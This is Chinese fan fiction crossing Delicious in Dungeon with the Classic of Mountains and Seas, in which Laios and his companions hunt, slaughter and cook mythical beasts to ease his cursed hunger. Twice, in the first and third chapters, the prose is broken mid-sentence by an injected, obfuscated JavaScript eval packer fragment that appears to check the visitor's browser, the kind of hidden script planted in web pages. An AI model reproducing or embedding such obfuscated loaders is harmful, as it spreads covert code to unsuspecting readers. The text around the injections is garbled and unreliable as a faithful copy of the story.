《[迷宫饭]山海经烹饪指南》 1. 锅里冒出一座山 莱欧斯已经很久没有“吃饱”过了。 “吃饱”曾经很简单:在迷宫深处支起锅,森西把魔物肉翻得滋滋作响,油香钻进鼻腔;奇尔查克嘴上嫌弃“能不能别老吃这种怪东西”,手却先把碗递过来;玛露希尔边说“我不要”,边在本子上写得飞快“炎龙里脊偏柴,先腌”;伊津津美晃着腿喊“好了没——”,下一秒就被森西用勺背敲了脑门...... 那时候,“吃饱”就是字面意思——胃被填满,脑子也跟着安静下来。 现在他坐在宴会厅的王座上。烤乳猪的皮脆得发亮,蜜饯甜得发腻,果酱像凝住的阳光,蔬菜烤得金黄...... 他吃了一口又一口,盘子空了,胃好像也满了。但他知道再过一会儿那种熟悉的饥饿感就会从胃底升起来。 精灵使节带来的祝余茶盛在玉杯里,据说喝一口能饱三天。 “陛下,”使节微微欠身,“这是我族特制的祝余茶,以南山仙草炼制,喝下去可以压制饥馑之苦。” 莱欧斯一饮而尽。 清淡的茶汤滑过舌尖,落入胃里。他等着那种“饱”的感觉可什么都没有,可胃里那种熟悉的空虚又开始翻涌。那是翼狮的“食欲”,当初他吃掉了翼狮,吃掉了那个以欲望为食的恶魔。可翼狮消失了,它的“食欲”却永远寄居在他体内,好像一个永远填不满的洞,食物落进去,就像石头沉入深渊,没有回声。 “陛下?”使节看着他,“茶不合口味吗?” “不,”莱欧斯放下茶杯,“很清新,是我今日……身体不适。” 他在桌下把手攥紧,指节顶进膝盖。疼痛在提醒他还在宴会上,还得继续“像没事一样”。 斜对面的卡布尔看见了。他知道那不只是饥饿,还有翼狮消散前留下的那句诅咒像一根刺卡在莱欧斯身体里——“你永远无法再亲近魔物。” 活的魔物会躲他,只要他靠近,它们就会逃跑。他再也无法像以前那样蹲在魔物旁边观察它们、研究它们、理解它们。 于是他现在只能坐在这里,吃着永远吃不饱的饭,见着永远见不完的使节,想着永远回不去的迷宫。 他一直在吃,一直在饿,一直在等那种“满足感”回来。 但它永远不会回来了...... * “陛下。”精灵使节微微欠身,身后侍从捧着一只锦盒,“这是我族从极东之地得到的宝物,名为‘山海玉牒’。据传可通万物、镇国运。” 锦盒打开。里面是一卷材质不明的册子,封面上用古篆写着四个字。 玛露希尔凑过去,眼睛亮起来:“山海……玉牒?” “是的。”使节翻开其中一页,“记载了极东之地的异兽仙草,有狌狌、鹿蜀、类、蛊雕……那里的异兽与我们所知的魔物截然不同。” 玛露希尔的呼吸都停了。那些图她从未见过:像猪却长着人脸,像马却身披虎纹......那些文字她读不懂,但那种未知的诱惑让她手指发痒。 奇尔查克想摸一下,被使节礼貌地拒绝。 伊津津美翘着腿:“不就是本画册吗?” 玛露希尔瞪她:“你懂什么——” 莱欧斯站起来,走到玉牒前,低头看着封面,“极东之地……比东方之群更东?” “是的,陛下,那里连我族都未曾踏足。” 莱欧斯没再说话,但玛露希尔注意到,他的眼睛里有一瞬间亮了一下。 * 宴席散后,莱欧斯独自坐在露台。 夜风从城外吹来,裹着炊烟的潮气。他咽了咽口水,等待着胃能给出一点回应,但什么都没有。 他苦笑了一下,把脸埋进掌心里。 “你打算装到什么时候?” 身后突然传来玛露希尔的声音。 莱欧斯猛地回头,还没等他开口“咣当”一声闷响,一口大铁锅被重重撂在了露台的石板上。 “锅我带了。”森西从阴影里走出来,“不管去哪,饭总是要吃的。” 莱欧斯愣住了,他越过森西宽阔的肩膀,看到了靠在栏杆上甩尾巴的伊津津美、拿着工具的奇尔查克、抱着手臂的卡布尔,甚至还有背着一大袋面粉的米斯伦。 老队友们一个不少,全都在。 莱欧斯愣住了:“你们……这是要搬家吗?” “因为某个人连吃十二盘烤乳猪看着实在太让人倒胃口了。”一津津美翻了个白眼。 法琳从后面探出头,冲他露出一个大大的笑脸:“哥,我们开个会吧?” 玛露希尔深吸了一口气,把玉牒“啪”地一声拍在森西的锅底上:“我查过了!这东西上面的纹路和迷宫的契约同源,但它是一种古老的‘等价交换规则’,上面写了‘游历五山四海,可许一愿’” 莱欧斯的心跳漏了一拍:“你的意思是……” “我的意思是,我们要再来一次“迷宫”探险了。”玛露希尔抬起下巴,“不管那是个什么见鬼的极东之地,把你胃里那个破洞填满同时把你不能靠近魔物的诅咒解开我们就回来!” 森西敲了敲锅沿,发出清脆的金属声:“把锅带上,不管去哪饭总是要吃的。” 看着这群明明已经有了各自生活却依然愿意为了他的一个“胃”而重新跳入未知深渊的人,莱欧斯张了张嘴,眼眶突然一酸。 “……好。”他把手按在锅沿上。 玛露希尔念动咒语,锅底发烫,玉牒发光,锅里的粥面浮起陌生的纹路,像眼睛睁开。 “咣——!!!” 锅炸了。热浪卷成旋涡,把所有人连同风声一起吞了进去...... * 莱欧斯第一个落地,重重摔在地上,滚了三圈才停下。 莱欧斯摔进草叶里时,第一反应不是疼,是饿。他几乎是本能地抬头吸了一口气,桂香里混着 青草、泥土还有一种他说不上来的东西的味道。那种东西像一根针,直接扎进他的胃里,扎进那个被翼狮的“食欲”挖空的洞里。 他爬起来,眼前是一片从未见过的山林。树不是他认识的树,草不是他认识的草。空气里有雾,雾里有光,光里有兽鸣。 林口立着一块石碑。碑面粗糙,字却像新刻的: “游历五山四海,可许一愿,违规则记账。” 他的心猛地跳了一下。 身后传来各种落地的声音:法琳的惊叫,伊津津美的怒骂以及奇尔查克的闷哼。 森西坐起来后立刻去检查锅,锅还在,他明显松了口气,可下一秒又皱起了眉——锅里空了。 玛露希尔抱着空锅愣在原地,手背突然传来一阵刺痛,她低头一看,那里多了一道极浅的纹路,像被什么划了一下,她用手擦了擦,但是擦不掉。 “怎么了?”卡布尔问。 “没什么,应该是刚才被划伤了......”她把袖子拉下来。 米斯伦慢慢坐起来,面无表情地拍了拍身上的土,然后站起来,退到人群边缘,站在一块石头的阴影里。伊津津美揉着膝盖,骂骂咧咧地站起来。她动了动耳朵,好像听到了什么,远处的狌狌叫声传来,她愣住了,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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迷宫里的魔物见了他就跑,这里的异兽却视他如无物,诅咒失效了?还是这里的异兽不受诅咒影响? 他不知道,但他知道一件事:他终于可以靠近它们了。 他蹲下去,慢慢伸手,最近的一只狌狌警惕地退了半步,却没跑。它盯着他,像在评估“这个两脚兽到底想干什么”。 然后他站起来,朝那群狌狌走了过去。 “等等——”卡布尔想拽住他,但没拽住。 莱欧斯越走越快,最后几乎是小跑起来。他的眼睛发亮,脸上是那种太久太久没见过的兴奋:“别跑!让我看看你们!让我摸摸——” 那群狌狌抬起头,看着他朝自己冲过来。 然后—— “吱——!!!” 连滚带爬,头也不回,眨眼间就消失在林子里。 莱欧斯扑了个空,趴在地上,脸埋进桂花瓣里。 法琳跑过来:“哥……你吓到它们了。” 莱欧斯想哭,又想笑,最后只是愣愣地看着狌狌,“……我就是太高兴了。” 森西把他拉起来,拍拍他肩:“没事,等会儿想办法再引回来。” “它们是不是也怕我……” 莱欧斯低头看自己的手,指尖还沾着桂花的甜香。 他没再说话。 2. 第一口山海肉 卡布尔走过来:“它们不是怕你,它们只是……你我吓到了。” 莱欧斯重振旗鼓:“对,这是两回事。” 在等待的过程中奇尔查发现了溪水,队伍跟着他来到溪边。森西架起锅,卡布尔生火,奇尔查克帮忙打水。米斯伦坐在旁边,手里拿着那袋面粉,不知道该干什么。 森西看了他一眼:“那个草,采一些来。” 米斯伦愣了一下:“什么草?” “祝余。”森西指着地上的草,“叶子细长的那个,采嫩的,老的不要。” 米斯伦站起来,蹲到地上开始采。他的动作很慢,但很认真——不是那种“想做好”的认真,是那种“机械地执行指令”的认真。 伊津津美看着他的样子,小声对法琳说:“他是不是有点奇怪?” 法琳也小声说:“他以前不是这样的。” “以前什么样?” “以前……不怎么动。”法琳托着脸想了想,“现在至少会自己站起来了。” 伊津津美看着米斯伦的背影,没说话。 森西接过米斯伦采来的祝余,开始处理。他把祝余去皮、蒸软、捣成泥,然后摊开晾着,动作行云流水。 一津津美看得发呆:“你这是要做饭团?” “行军饭团。”森西头也没回,“祝余能饱腹,掺育沛水揉成团,外裹桂末。管饱,耐走。” “育沛水是什么?” “那边的溪水。”森西指了指,“奇尔查克说能喝,就叫育沛水吧。” 伊津津美凑过去看那些饭团,绿莹莹的还带着桂花的香气,她伸手准备拿一个,森西的勺子立马敲在她手背上。 “还没熟!” 伊津津美缩回手,翻了个白眼。 法琳笑出声来。 * 傍晚,狌狌醒了。 它们跑起来速度奇快,树影间只留下一道道灰褐色的残影。莱欧斯蹲在林子边缘,眼睛死死跟着它们转。他太想冲过去了,但想到下午的惨痛教训只能硬生生把冲动憋回去。 “跑得这么快,这怎么抓?”卡布尔皱着眉。 “不能硬追,猎物在极度惊恐下会剧烈奔跑,增加肌肉的乳酸分泌,从而导致肉质发酸发柴。”,”森西眼睛微微眯起,“你们注意到没有,它们在林子里翻找果子,但从不碰地上的祝余草。” “对哦。”莱欧斯也发现了,“既然祝余草能饱腹,它们为什么不吃?” “未经处理过的祝余草富含粗纤维,非常难以消化,而且糖分被锁在细胞壁里。”玛露希尔立刻反应过来,“但森西下午把祝余草蒸熟并且捣碎了!” “没错。”森西摸了摸胡子,“通过高温和物理捣碎,祝余草细胞内的淀粉被彻底糊化,变成了极易吸收的高糖糊糊,对于平时只能吃低糖野果的灵长类来说……” “吃下这种糊糊血糖会瞬间飙升!”莱欧斯瞪大眼睛,“这不就是……饭气攻心吗?!” “正是如此。”森西点点头,“现在,我们只需要让它们乖乖吃下这些处理过的祝余草就行了。” 他又从包里拿出几片纹理发黑的叶子在火苗上燎了一下,然后把祝余草糊糊均匀地抹在叶片上。 “迷穀叶?”奇尔查克认出来了,“玛露希尔刚才念玉牒时不是说这东西‘佩之不迷’是用来防迷路的吗?你拿它干什么?” “大自然里没有指南针,防迷路靠的是什么?”森西把烤过的叶子递过去,“闻闻。” 奇尔查克凑近一闻,一股极其独特的奇异香气瞬间直冲他的脑门。 “是信息素!”莱欧斯在一旁恍然大悟,“‘佩之不迷’是因为它散发着能刺激方向感神经的强烈气味。野生动物通常把它当做最显眼的天然‘路标’!只要闻到就会忍不住停下来去确认!” “迷穀叶负责让它们‘停下’,祝余糊糊负责让它们‘躺下’。”森西把准备好的叶片递给奇尔查克,“把它们布置在狌狌的必经之路上。” 奇尔查克接过叶子,刚准备动身,莱欧斯又好奇地指了指火堆:“森西,既然迷穀叶气味这么好用,你刚才为什么还要用火烤它?” “不烤的话它的神经刺激性太冲了。”森西一本正经地收拾着厨具,“吃了容易引发神经错乱,万一它们兴奋过度导致肉质紧绷那这顿饭就毁了。” 奇尔查克嘴角抽搐了一下:“……说到底一切都是为了不影响口感是吧。” * 没过多久,几只觅食的狌狌顺着气味找了过来。它们被迷穀叶的香味吸引停下脚步,然后开始舔舐上面的的祝余草糊。 没过多久它们的眼神就开始发直,脚步虚浮,晃晃悠悠地在原地打起了瞌睡。 法琳第一个跑上去,轻轻按住了其中一只的头部。地上的狌狌还在喘气,眼神虽然涣散,但身体出于野兽的本能还在微微紧绷,似乎随时可能惊醒反抗。 “快一点,”奇尔查克在旁边低声说,“等它彻底醒过来挣扎就麻烦了。” “等一下。”法琳轻声说。 她闭上眼睛,双手掌心泛起一层柔和的绿光,顺着狌狌的颈侧一路抚摸下去,那是治愈系魔法变种——神经安抚。 在绿光的笼罩下,狌狌原本还在抽搐的肌肉彻底放松了下来,急促的喘息也变得平稳悠长,仿佛陷入了一场安心、深沉的梦境。 “好了。”法琳抬头看向森西,“这样它就不会觉得疼,也不会因为死前的恐惧而让肉质变酸了。” 森西看着法琳,眼底闪过一丝极深的赞许。 “没错。”森西点点头“剥夺生命是为了延续生命,不让食材遭受多余的痛苦,这是对自然最大的尊重。” 话音落下的瞬间,他手腕一沉,刀锋精准地没入狌狌的颈侧动脉,狌狌就这样在睡梦中安静地停止了呼吸。 “放血。”森西利落地拔出刀,“趁血还热。” 法琳按住,森西割开颈侧,血涌了出来,他立刻招呼伊津津美用丽麂水冲洗。 “丽麂水是哪个?”伊津津美问。 “就那边的溪水。”奇尔查克指了指,“我刚才试过,能喝,应该也能去腥。” 腥味很快被压下去。 “后腿。”森西开始分割,“这块最好,适合烤;前臂筋多,留着炖;脊背肉薄,可以片下来烤或者煎......” 他刀法很稳,每一步都利落。莱欧斯蹲在旁边看着,眼睛发亮。 森西切完最后一块肉,停了一下,他看着那只狌狌,血已经流尽了,眼睛还睁着,瞳孔散开,映着天上的云。 他伸出手,把狌狌的眼皮合上了。 莱欧斯看着那个动作,沉默了一会儿:“我以前从来不管这些。” 森西瞥他一眼:“现在管了?” “不知道。”莱欧斯喉结动了动,“就是……看着它,觉得应该管。” 森西没再说话,低头继续处理肉。 * 天黑了。 森西架起火,开始烤那块狌狌后腿肉。桂树枝当柴,火苗兴奋地舔舐着肉块发出诱人的“滋滋”声。油脂被高温逼出,滴落在炭火上“呲啦”一声爆出一团白烟,将桂木的清香死死锁进肉里。 “为什么不熏了?”玛露希尔问。 “没条件。”森西手里转动着烤串,眼神专注,“烟熏要时间,在饿肚子的时候,速度就是最好的调料。”他在烤至金黄酥脆的表皮上撒了些粗盐和桂花末:“香气靠桂烟就够了。” 玛露希尔掏出记录本,开始记: “ 【狌狌后腿】:桂木火烤,只加盐。 【食效】:助行耐劳。 【副作用】:待观察。 ” 写完最后一个字她突然感到手背热了一下。她低头看了一眼,那道像被划伤的细长黑纹似乎比白天时更深、更长了一点。她心头一紧,将袖子往下拽了拽。 “烤好了。”森西切下最肥美的一块递给莱欧斯。 莱欧斯接过肉,深吸了一口气,一口咬下。 “咔嚓。” 焦脆的外皮在齿间碎裂,紧实弹牙的瘦肉瞬间迸发出滚烫鲜美的肉汁,强烈的肉香夹杂着桂花的清甜,像一道温暖的闪电直击他的大脑。 莱欧斯整个人僵住了,那个被翼狮的“食欲”挖空无底洞,似乎被这块沉甸甸的山海野味填实了一角。 他大口吞咽着,眼眶难以克制地发起热来。 “好吃吗?”法琳凑过来关切地看着他。 莱欧斯说不出话,只能用力地点头。 森西满意地看着他,随后将肉发给每个人。 米斯伦默默接过肉咬下一口,咀嚼的动作突然停住了。 “怎么了?”森西问。 米斯伦那双空洞的眼睛里似乎有什么东西极轻地闪烁了一下:“……有桂花的味道。” 森西点点头,没再说话。 * 然而这份温馨宁静只维持了不到半刻钟。 最先吃完的伊津津美突然站了起来。她走了两步,然后变成了小跑,最后干脆在火堆边绕起了圈。 “正常反应。”森西淡定地喝了口汤,“说明狌狌平时运动量大,吃下去能补充体力。” “不是!”伊津津美一边原地疯狂高抬腿一边咬牙切齿地喊,“我根本停不下来!我的腿里好像有几百只跳蚤在蹦!” “我也是!”法琳也跟着站了起来开始原地踏步,“我觉得我现在能一口气跑上山顶!” 奇尔查克脸色铁青地跟着站了起来,两条短腿不受控制地倒腾着:“……等等,为什么我也……” “冷静!大家都冷静——”卡布尔死死抱住旁边的一棵树,但他的双腿却在半空中疯狂地乱蹬。 玛露希尔坐在原位,拼命按住自己的膝盖,但她的两条腿就像在踩缝纫机一样在裙子底下狂抖,抖得她连手里的笔都拿不稳了。 而莱欧斯,他不知什么时候已经站到了营地边缘。他盯着黑暗的林子深处,眼睛亮得像两盏探照灯摆出一个起跑的姿势:“我觉得我已经准备好了!我要去追它们!我要去观察它们在夜中的样子——” “别冲动!莱欧斯! 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伊津津美揉着发酸的小腿肚,嘟囔道:“这肉……下次我绝对不吃了。” 玛露希尔长舒了一口气,低头在记录本上歪歪扭扭地补了两行字: “ 【副作用】:腿部极度亢奋,产生不可遏制的奔跑冲动。 【对冲方法】:塞入高碳水祝余饭团,用“饭气攻心(强制嗜睡)”打败“极度亢奋”。物理镇静,效果显著。 ” 写完这行字,她刚刚松开紧绷的神经,手背上却又传来一阵灼热的刺痛。 她低头看去,瞳孔骤缩。 那条黑色的纹路,似乎因为她刚才“发现并记录了玉牒上没有的知识”,又一次清晰地生长了一寸。 * 夜里,莱欧斯躺在石头上翻来覆去怎么也睡不着。 白天明明吃下了一大块结实的烤肉,可现在胃里那种熟悉的空虚感不仅重新升了起来,甚至比平时更难熬。 他痛苦地睁开眼,盯着头顶重重叠叠的夜空树影。他想起白天那些狌狌,它们跑得那么快,那么自由。他本来可以离它们更近一点的,如果他没有那么莽撞地冲过去的话。 如果当时克制一下就好了。 就在他冒出这个“后悔”念头的瞬间,胃里猛地一阵强烈的抽痛。他并不知道,这是玉牒的规则正在对他的冒失悄悄记下第一笔“账单”。他只能死死咬住嘴唇,把脸深深埋进手臂里苦熬。 不远处的火堆旁,其他人各怀心事。 森西在火光下仔细清点着剩下的兽肉,口中念念有词地盘算着明天的干粮;奇尔查克掏出素描本,借着微光画着白天看到的狌狌;伊津津美坐在火堆的另一边,不动声色地观察着所有人。最后,她的目光落在了离火堆最远的米斯伦身上。他没有睡,也没有动,只是定定地看着火焰。那张脸上没有任何情绪的起伏。唯一在动的是他的双手,像是在对着空气擀面。 伊津津美的耳朵向后压了压,这个人太奇怪了:他身上……没有“活人”该有的气味和欲望,就像一个被彻底挖空了内脏的木偶,只剩下一具壳。 而坐在火堆正面的玛露希尔正低头摸着腰间那枚粗糙的迷穀结。她看了看手背,又抬头看向漆黑的夜空,忽然想起了玉牒扉页上的那行字: “ 你们被选中,不是被邀请。 违规则记账。 ” 被选中……选来做什么?记账……又到底是怎么个记法? 她不知道,但她真切地感觉到那笔未知的账在记,脚下的路也在不由分说地把他们往前推。 就在营地即将彻底陷入沉寂时。 “沙……沙沙……” 远处的黑森林深处,突然传来了一声极其怪异的啼鸣。 不像兽吼,也不像鸟鸣,断续续,夹杂着气流的嘶嘶声,听起来竟然像是一个人在含混不清地学说话。 原本靠在石头上睡得正香的法琳,睫毛一颤,一下惊醒了过来。 “什么声音?”她立刻坐直了身体,眼睛亮晶晶的,没有恐惧反而全是好奇。她下意识就想站起来往林子里走。 “啪。” 森西一把按住了她的肩膀。 “夜里别乱跑。”森西盯着漆黑的树影,声音压得很低,“在野外,好奇心是用来做饭的,不是用来送命的。” 法琳被按回原地,只好竖起耳朵仔细去听,但那声音却恰好停了。 “好像……像在叫名字?”她小声嘀咕着,试图分辨刚才那古怪的音节。 “别管了。”森西收回目光,“保存体力,明天还要赶路。” 法琳只好乖乖躺回去,但她的眼睛却没有合上,她伸手摸到腰间那枚迷穀结,指尖无意识地将其紧紧捏住,回味着刚才那个奇怪的声音。 “咕……咕……” 几秒钟后,森林深处,那个奇怪的叫声又响了一下。 这一次,它穿透了层层迷雾。 更清晰,也更近了。 3. 白猿与猼訑 狌狌肉带来的后遗症让队伍一上午的行进速度快得离谱。 不知不觉间,空气里那股甜腻的桂花香已经被风彻底吹散了,取而代之的是一种干燥、刺鼻的微辛。 “阿嚏!”一津津美连打了两个喷嚏,烦躁地揉着鼻子,尾巴烦躁地拍打着地面,“这什么味儿?呛死了,我的鼻子都要失灵了。” 前面的植被确实变了。粗壮的桂树不见了,漫山遍野都是一种灰白树干的乔木,叶片细长,在风里哗哗作响。 森西停下脚步。他走到树下,揪下一片叶子,没有直接闻,而是放在粗糙的掌心用力揉搓。随着叶脉被碾碎,一股极其浓烈的辛麻气味猛地爆开。 他毫无防备地伸出舌尖,舔了舔沾满绿色汁液的指腹。 “喂!森西!别随便吃啊!”玛露希尔吓了一跳,手忙脚乱地翻开玉牒记录本。 森西闭着眼睛吧嗒了一下嘴,随后眼睛亮了:“叶片入口微苦,但随后有强烈的麻痹感和辛香。这跟迷宫第三层的辣木非常像,但油脂更丰富,去腥解腻绝对是一绝!” 说着他解下腰间的小布袋,开始大把大把地薅树叶往里塞:“大蒜和胡椒不够的时候,这就是完美的替代品。” “找到了!”玛露希尔指着玉牒上的一行小字,长舒了一口气,“‘堂庭之山,多棪木,多白猿,多水玉,多黄金。’……‘其木多椒’!这个叫椒木,确实是一种香料树!” 莱欧斯一听,立刻凑了过来,“等等,玉牒上说这里‘多白猿’,猿猴类的野生动物通常体味极大、肉质发酸。这片山上恰好长满了能去腥的椒木……这难道是某种完美的生态伴生关系?就像烤肉旁边刚好长出了胡椒瓶?!” 森西满意地拍了拍装满椒木叶的口袋,“走吧,去找肉。” * 又走了一段,奇尔查克突然停下来,打了个手势。 队伍安静下来,顺着他的目光看去,前面的林间空地上,有白色的影子在动。是白猿,比狌狌大一圈,浑身白毛干净得刺眼,脸更像人。 莱欧斯的眼睛一下亮了。他往前迈了一步,又硬生生停住。卡布尔刚伸出去准备拽他的手顿在半空,愣了一下。 “我……我不跑。”莱欧斯压着嗓子,“我就看看。” 他蹲下来,眼睛一眨不眨地盯着那群白猿。他确实想冲过去,他能看清白猿脸上的表情,甚至能闻到它们身上的气息。但他记得上次狌狌是怎么被他吓散的,他深吸一口气,把冲动按回去。 森西观察了一会儿指向林子另一侧低声道:“那边有只落单的。”一只老白猿独自在树根下翻着什么,动作慢半拍,肩背有旧伤。 “就它了。”森西说,“不能硬来。白猿群居,惊动了一只,其他的会围上来。” 他扫了一眼地形:“奇尔查克,你绕到灌木那边,如果群猿追过来,你负责把它们引开。” 奇尔查克点头,猫着腰钻进灌木丛,走得没声。 “一津津美,你跟我一起靠近。我动手的时候你按住后腿。” 一津津美翻了个白眼,还是跟上去。 “莱欧斯、卡布尔,你们守住这个位置。别让别的白猿冲过来。” 莱欧斯眼睛一亮:“我可以——” “不可以。”卡布尔直接打断,“你只能挡住,不能追。” 莱欧斯张了张嘴,最后点点头。 “玛露希尔,你盯后面那几只。”森西压低声音,“它们一动,你就报。” 玛露希尔掏出法杖,低声念咒,瞳仁表面掠过一层淡光,是远视术。 “东南五十步,三只在翻果子。”她飞快报出方位,“暂时没注意这边。维持不了太久,你们快点。” 森西点头:“法琳跟着我,出意外你先救人,也可以帮忙按着。” “米斯伦......”森西回头,“你就在这儿和面,万一失手至少还有面能吃。” 米斯伦愣了一下,低头继续揉面。 * 森西带着一津津美和法琳贴着树根慢慢往前摸索,就在这时,法琳突然轻轻“啊”了一声。 石头边上蹲着一只奇怪的兽:羊身九尾四耳,耳尖不停抖,像在听他们的呼吸。它看着法琳,径直走来。 玛露希尔下意识想挡,法琳已经蹲下伸手。小兽用头轻轻蹭她掌心,抖下一小撮毛落在她手里,看了她一眼,转身慢慢走开。 “它……它想和我做朋友!”法琳眼睛亮得吓人。 玛露希尔凑过来,翻出笔记本:“这个……玉牒上写过!羊身九尾四耳,叫……叫猼訑!佩之不畏!” “什么意思?”法琳问。 “佩之不畏……就是带着它的毛,可以不怕任何东西。”玛露希尔在本子上快速记着,“不过猼訑本该在基山,怎么会跑到堂庭山来?” 奇尔查克走过来,接过法琳手里的毛,仔细看了看,然后轻声说:“这个……能给女儿吗?” 法琳使劲点头:“当然!” 奇尔查克小心地把毛收进怀里,没再说话。 森西压低声:“继续,白猿还在那边。” * 白猿还在低头翻果子,完全没察觉。但它翻一会儿就抬头看看周围,警惕性很高。 “它多久抬头一次?”一津津美小声问。 森西数着:“大概二十下呼吸一次。” 他掏出桂枝,用火折子点着。烟顺风贴地飘过去。老白猿鼻尖一动,困惑地抬头,慢慢挪开两步避烟。 “走。”森西抓住它挪步的空隙,带着两人往前贴近十步。 再点一根桂枝,烟继续飘。白猿再挪两步。 一步一挪,三人把距离磨到十步内。 玛露希尔的声音忽然从远处传进森西耳里: “东边有动静,三只白猿在往你们那边走。五分钟到。” 森西没抬头,只用气声道:“加快。” 还剩五步时,老白猿忽然抬头,鼻子动了动,朝他们这边迈了一步——它闻到了人类的气息。 法琳把手按在地上,嘴唇微动。旁边几株野草的青草味骤然变浓,混进桂烟里。白猿困惑地转了转头,停住。 “走!”森西趁它停住的那一瞬,带着两人猛冲三步。 还剩两步,白猿终于察觉不对,张嘴就要叫。法琳抬手一指,一道极细的绿光没入它喉咙,叫声卡在嗓子眼里,只发出一声轻微的“咕”。 “快!”法琳喘了一口,“只能压一下!” 森西冲上去一刀刺入。白猿猛地转身,巴掌横扫过来,森西侧身躲开,肩还是被扫到,踉跄两步。 一津津美从侧面窜出,死死抓住白猿后腿。白猿力气大得离谱,她差点被甩飞,脚在地上犁出两道深痕。 “法琳!”一津津美咬牙。 法琳扑上去,双手按住白猿背脊,掌心亮起微弱绿光——麻痹肌肉的魔法。白猿动作明显慢了半拍。 远处的米斯伦突然站了起来,他手里的面团掉在地上。那双一直空洞的眼睛死死盯着这边,他嘴唇动了动,没有声音。 空气忽然一沉,像被一只看不见的手按住。 正在挣扎的白猿猛地僵住,四肢像被压在石板下,一动不能动。 森西没有犹豫,刀尖再送。白猿抽搐一下,终于不动了。 那股无形的压力瞬间散掉,快得像幻觉。米斯伦眨了眨眼,低头看着掉在地上的面团,蹲下去把它捡起来继续揉,仿佛刚才他只是站起来喘了口气。 玛露希尔猛地回头,目光钉在米斯伦所在的方向。她这次清清楚楚感觉到了——强大、古老。 “玛露希尔?”卡布尔注意到她的僵硬。 “……没什么。”她收回目光,手却不自觉按上了法杖。 玛露希尔的声线再一次送来:“那三只停下来了,你们血腥味太重。快走。” “走。”森西说,“换地方处理。” 他们刚离开那片林子,那三只白猿出现了,发出尖锐的叫声。 玛露希尔举杖念咒,一层淡雾从地面升起,“快走。”她说,“雾撑不了太久。” * 队伍一路狂奔,直到听不见白猿的叫声才停下。 一津津美直接躺倒在地,腿还在抖。法琳蹲在她旁边,手按上她扭到的地方,掌心亮起绿光。 酸痛一点点退下去,一津津美别过脸,声音很小:“……谢谢。” 法琳笑了:“不客气!” 玛露希尔抬眼看向米斯伦,他坐在不远处,还在揉面,动作和之前一样机械,脸上没有表情,好像刚才什么都没发生。 玛露希尔走到卡布尔身边,压低声音:“刚才……你有没有感觉到什么?” 卡布尔皱眉:“什么?” “魔力。”她盯着米斯伦那边,“很强的魔力,就在附近。” 卡布尔想了想,摇头:“我没有。会不会是你的错觉?” 玛露希尔也摇头。那个人,她一直看不透。不过现在也不用考虑这些。 * 营地扎好,锅架了起来。森西先抓一把椒木叶干炒。辛辣香一出来,立刻把空气里的腥压下去。 “椒木别下猛。”他警告,“重了会口干暴躁可能增加队伍吵架概率。” 他把筋肉下锅,小火慢炖。汤面很快起了一层胶光,粘住勺沿,像挂着一层亮油。 刚开始汤散发出诱人的香气,可下一瞬,香却忽然拐了个弯。 一股“近人”的膻顶出来,闷、热、贴脸,甚至带着一点“汗”的酸,让人本能皱眉、烦躁。 法琳先愣住:“……这味道好怪。” 一津津美把碗往地上一放:“像人汗!我不吃了。” 森西勺背敲在锅沿上,“都别动锅。” 他又拿起一块肉,仔细看。白猿的肉比狌狌紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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一津津美吃完两口,忽然站起:“我想爬树。” 奇尔查克也起身:“……我也是。” “正常。”森西抬下巴,“白猿补骨力与臂力,爬高是本能。” 为了压制队伍里的火气并且解腻,森西开始做水玉凉粉。 一津津美被抓去磨粉,玉研钵磨得吱吱响:“你们人类怎么这么爱折腾。” “磨细点才好凝。”森西把热汤晾到温热,水玉粉一点点撒入,边撒边搅。 汤色渐透明,像把山泉冻住,切开来凉滑,入口就把椒木的辣与胶汤的腻按了下去。 * 夜里,火堆噼啪。 森西整理剩肉,算明天干粮;奇尔查克借火光画白猿,画到一半停笔,指腹无意识摸了摸怀里那撮猼訑毛。米斯伦坐在最边缘揉面,动作一下一下像钟摆;卡布尔蹲在旁边守着,不说话。 玛露希尔摊开记录本,笔尖刚落下,手背忽然一热。她低头一看,那道纹路比白天更深了一点。她用袖口蹭了蹭,低声:“……错觉。”随后她把字写得更快: “ 白猿肉,初次烹饪失败(腥膻)。 【改进方法】剔除皮下黄脂,清水浸泡,椒木炖煮。成功。 【食用效果】补骨力与臂力。 【副作用】待观察。 【水玉凉粉】肉汤点凝,清凉解腻;少量食用。过量胃里结块感强。 ” “玛露希尔?”法琳的声音从旁边传来。 玛露希尔下意识把手缩回袖子里:“怎么了?” 法琳盯了她一会儿,小声问:“你手疼吗?” “不疼。” “那就好。”法琳打了个哈欠,含糊道,“有事要告诉我们哦。”说完就又睡过去,嘴角还带着笑。 玛露希尔看着她的侧脸,没应声。 * 法琳半梦半醒间忽然觉得有人在看她。 林子边缘,那只猼訑远远站着,九条尾巴轻轻摆,四只耳朵都朝着营地。 法琳坐起来,小声喊:“你还在呀。” 猼訑歪了歪头,退进阴影。 森西把她按回去:“夜里别乱跑。” 法琳指着阴影,迷迷糊糊:“它想跟着我们。” 森西轻哼了一声:“它要是愿意一直跟着以后的护身符就不用愁了~” * 夜里,奇尔查克翻身时,胸口那撮猼訑毛忽然一热,像被小火烫了一下。 他猛地惊醒,手掌隔着衣料按住那撮毛,热意好像在指向某个方向,一下一下往某处牵。 奇尔查克抬头看向林影最黑的那一段,喉咙滚了滚。 他没喊醒任何人,只把那撮毛攥得更紧: ……如果这东西真能“佩之不畏”,那它现在,是在护谁? 4. 毒与鲜的教训 昨晚那锅白猿筋肉汤的胶质实在太厚了。 清晨,当奇尔查克试图开口说话时,发现自己的上下嘴唇差点被残存的胶原蛋白粘在一起。莱欧斯则意犹未尽地舔着舌根,那里还残留着一点椒木的辛辣余香,但他胃里那个永远填不满的黑洞,又开始隐隐作痛地索要食物了。 